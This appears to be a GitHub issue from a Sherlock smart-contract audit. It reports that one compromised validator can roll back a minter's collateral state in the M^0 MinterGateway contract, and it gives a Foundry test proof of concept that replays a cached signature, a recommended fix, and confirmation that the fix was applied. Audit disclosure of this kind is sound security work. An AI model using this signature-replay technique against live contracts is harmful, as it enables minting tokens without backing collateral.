sherlock-audit / 2023-10-mzero-judging

3 stars 2 forks source link

pkqs90 - Validator threshold can be bypassed: a single compromised validator can update minter's state to historical state #46

Open sherlock-admin4 opened 5 months ago

sherlock-admin4 commented 5 months ago

pkqs90

medium

Validator threshold can be bypassed: a single compromised validator can update minter's state to historical state

Summary

The updateCollateralValidatorThreshold specifies the minimum number of validators needed to confirm the validity of updateCollateral data. However, just one compromised validator is enough to alter a minter's collateral status. In particular, this vulnerability allows the compromised validator to set the minter's state back to a historical state, allowing malicious minters to increase their collateral.

Vulnerability Detail

The updateCollateral() function calls the _verifyValidatorSignatures() function, which calculates the minimum timestamp signed by all validators. This timestamp is then used to update the minter state's _minterStates[minter_].updateTimestamp. The constraint during this process is that the _minterStates[minter_].updateTimestamp must always be increasing.

Function updateCollateral():

        minTimestamp_ = _verifyValidatorSignatures(
            msg.sender,
            collateral_,
            retrievalIds_,
            metadataHash_,
            validators_,
            timestamps_,
            signatures_
        );
        ...
        _updateCollateral(msg.sender, safeCollateral_, minTimestamp_);
        ...

Function _updateCollateral():

    function _updateCollateral(address minter_, uint240 amount_, uint40 newTimestamp_) internal {
        uint40 lastUpdateTimestamp_ = _minterStates[minter_].updateTimestamp;

        // MinterGateway already has more recent collateral update
        if (newTimestamp_ <= lastUpdateTimestamp_) revert StaleCollateralUpdate(newTimestamp_, lastUpdateTimestamp_);

        _minterStates[minter_].collateral = amount_;
        _minterStates[minter_].updateTimestamp = newTimestamp_;
    }

If we have 1 compromised validator, its signature can be manipulated to any chosen timestamp. Consequently, this allows for control over the timestamp in _minterStates[minter_].updateTimestamp making it possible to update the minter's state to a historical state. An example is given in the following proof of concept. The key here is that even though updateCollateralValidatorThreshold may be set to 2 or even 3, as long as 1 validator is compromised, the attack vector would work, thus defeating the purpose of having a validator threshold.

Proof Of Concept

In this unit test, updateCollateralInterval is set to 2000 (default value). The updateCollateralValidatorThreshold is set to 2, and the _validator1 is compromised. Following the steps below, we show how we update minter to a historical state:

  1. Initial timestamp is T0.
  2. 100 seconds passed, the current timestamp is T0+100. Deposit 100e6 collateral at T0+100. _validator0 signs signature at T0+100, and _validator1 signs signature at T0+1. After updateCollateral(), minter state collateral = 100e6, and updateTimestamp = T0+1.
  3. Another 100 seconds passed, the current timestamp is T0+200. Propose retrieval for all collateral, and perform the retrieval offchain. _validator0 signs signature at T0+200, and _validator1 signs signature at T0+2. After updateCollateral(), minter state collateral = 0, and updateTimestamp = T0+2.
  4. Another 100 seconds passed, the current timestamp is T0+300. Reuse _validator0 signature from step 1, it is signed on timestamp T0+100. _validator1 signs collateral=100e6 at T0+3. After updateCollateral(), minter state collateral = 100e6, and updateTimestamp = T0+3.

Now, the minter is free to perform minting actions since his state claims collateral is 100e6, even though he has already retrieved it back in step 2. The mint proposal may even be proposed between step 1 and step 2 to reduce the mintDelay the minter has to wait.

Add the following testing code to MinterGateway.t.sol. See more description in code comments.

    function test_collateralStatusTimeTravelBySingleHackedValidator() external {
        _ttgRegistrar.updateConfig(TTGRegistrarReader.UPDATE_COLLATERAL_VALIDATOR_THRESHOLD, bytes32(uint256(2)));

        // Arrange validator addresses in increasing order.
        address[] memory validators = new address[](2);
        validators[0] = _validator2;
        validators[1] = _validator1;

        uint initialTimestamp = block.timestamp;
        bytes[] memory cacheSignatures = new bytes[](2);
        // 1. Deposit 100e6 collateral, and set malicious validator timestamp to `initialTimestamp+1` during `updateCollateral()`.
        {
            vm.warp(block.timestamp + 100);

            uint256[] memory retrievalIds = new uint256[](0);
            uint256[] memory timestamps = new uint256[](2);
            timestamps[0] = block.timestamp;
            timestamps[1] = initialTimestamp + 1;

            bytes[] memory signatures = new bytes[](2);
            signatures[0] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 100e6, retrievalIds, bytes32(0), block.timestamp, _validator2Pk);
            signatures[1] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 100e6, retrievalIds, bytes32(0), initialTimestamp + 1, _validator1Pk);
            cacheSignatures = signatures;

            vm.prank(_minter1);
            _minterGateway.updateCollateral(100e6, retrievalIds, bytes32(0), validators, timestamps, signatures);

            assertEq(_minterGateway.collateralOf(_minter1), 100e6);
            assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1), initialTimestamp + 1);
        }

        // 2. Retrieve all collateral, and set malicious validator timestamp to `initialTimestamp+2` during `updateCollateral()`.
        {
            vm.prank(_minter1);
            uint256 retrievalId = _minterGateway.proposeRetrieval(100e6);

            vm.warp(block.timestamp + 100);

            uint256[] memory newRetrievalIds = new uint256[](1);
            newRetrievalIds[0] = retrievalId;

            uint256[] memory timestamps = new uint256[](2);
            timestamps[0] = block.timestamp;
            timestamps[1] = initialTimestamp + 2;

            bytes[] memory signatures = new bytes[](2);
            signatures[0] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 0, newRetrievalIds, bytes32(0), block.timestamp, _validator2Pk);
            signatures[1] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 0, newRetrievalIds, bytes32(0), initialTimestamp + 2, _validator1Pk);

            vm.prank(_minter1);
            _minterGateway.updateCollateral(0, newRetrievalIds, bytes32(0), validators, timestamps, signatures);

            assertEq(_minterGateway.collateralOf(_minter1), 0);
            assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1), initialTimestamp + 2);
        }

        // 3. Reuse signature from step 1, and set malicious validator timestamp to `initialTimestamp+3` during `updateCollateral()`.
        //    We have successfully "travelled back in time", and minter1's collateral is back to 100e6.
        {
            vm.warp(block.timestamp + 100);

            uint256[] memory retrievalIds = new uint256[](0);
            uint256[] memory timestamps = new uint256[](2);
            timestamps[0] = block.timestamp - 200;
            timestamps[1] = initialTimestamp + 3;

            bytes[] memory signatures = new bytes[](2);
            signatures[0] = cacheSignatures[0];
            signatures[1] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 100e6, retrievalIds, bytes32(0), initialTimestamp + 3, _validator1Pk);

            vm.prank(_minter1);
            _minterGateway.updateCollateral(100e6, retrievalIds, bytes32(0), validators, timestamps, signatures);

            assertEq(_minterGateway.collateralOf(_minter1), 100e6);
            assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1), initialTimestamp + 3);
        }
    }

Impact

As shown in the proof of concept, the minter can use the extra collateral to mint M tokens for free.

One may claim that during minting, the collateralOf() function checks for block.timestamp < collateralExpiryTimestampOf(minter_), however, since during deployment updateCollateralInterval is set to 86400, that gives us enough time to perform the attack vector before "fake" collateral expires.

Code Snippet

Tool used

Foundary

Recommendation

Use the maximum timestamp of all validators instead of minimum, or take the threshold-last minimum instead of the most minimum.

sherlock-admin2 commented 5 months ago

1 comment(s) were left on this issue during the judging contest.

takarez commented:

compromises happens due to user mistake which is invalid according to sherlock rules and also; the validator has the power to update the minter state including mint request.

deluca-mike commented 5 months ago

This is a great catch! Please reopen this as it is the most clear issue that demonstrates the issue in the simplest/purest form. The others may be duplicates if this (albeit less valid, clear, or event incorrect).

sherlock-admin4 commented 5 months ago

The protocol team fixed this issue in the following PRs/commits: https://github.com/MZero-Labs/protocol/pull/163

sherlock-admin4 commented 4 months ago

The Lead Senior Watson signed off on the fix.